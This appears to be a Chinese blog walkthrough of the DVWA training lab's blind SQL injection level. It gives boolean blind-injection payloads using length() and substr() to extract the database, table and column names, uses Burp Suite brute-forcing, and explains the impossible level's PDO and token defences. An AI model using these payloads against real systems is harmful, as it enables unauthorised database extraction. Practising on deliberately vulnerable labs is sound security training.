dvwa靶场通关(八)

第八关:SQL Injection (Blind)

low

这一关是盲注, 所以不能用联合查询了,只能靠一点一点手动盲猜了

dvwa靶场通关(八)_第1张图片

 这里用到length和substr函数

先猜数据库名长度

 1' and length(database())=1#

 用bp抓包,发送到爆破

dvwa靶场通关(八)_第2张图片

 选择攻击位置

dvwa靶场通关(八)_第3张图片

 库名长度应该不会超过五十,所以设置从1到50,增量1dvwa靶场通关(八)_第4张图片

 可以知道,库名长度就是4dvwa靶场通关(八)_第5张图片

知道了长度, 然后就是爆出库名

1' and substr((select database()),1,1)='a'#

 同样的方法爆破库名的第一个字母是d

dvwa靶场通关(八)_第6张图片

 直接选择这两个攻击位置会更快,

1' and substr((select database()),$1$,1)='$a$'#

得出库名为dvwadvwa靶场通关(八)_第7张图片

 接下来猜表名长度

 1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1#

 得出长度为15,其中包括了逗号,因为group_concat是用逗号把各个表名连接起来的

dvwa靶场通关(八)_第8张图片

 接着爆破表名

1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='a'#

 得出表名有:guestbook,usersdvwa靶场通关(八)_第9张图片

 然后是爆出列名

1' and length((select group_concat(column_name) from information_schema.columns where table_name='users'))=1#

1' and substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,1)='a'#

dvwa靶场通关(八)_第10张图片

 medium

下拉表单,选择一个数,用burp suite抓包,

dvwa靶场通关(八)_第11张图片

 修改id的参数id=1 and 1=1 存在dvwa靶场通关(八)_第12张图片

 id=1 and 1=2,不存在,说明是数字型

 根据low我们已经知道数据库名叫dvwa了,长度为4,我们验证一下,没错

 

 high

输入1 and 1=1, 存在

dvwa靶场通关(八)_第13张图片

 输入1 and 1=2,也存在,说明不是数字型

dvwa靶场通关(八)_第14张图片

 输入1' and 1=1#,存在

输入1' and 1=2#,不存在,说明是字符型

dvwa靶场通关(八)_第15张图片

 验证数据库名长度为4,与上面的操作相同

 dvwa靶场通关(八)_第16张图片

 

impossible

dvwa靶场通关(八)_第17张图片

Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入;

同时只有返回的查询结果数量为1时,才会输出;

利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句,

Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过

你可能感兴趣的:(dvwa通关,web安全,网络安全,数据库)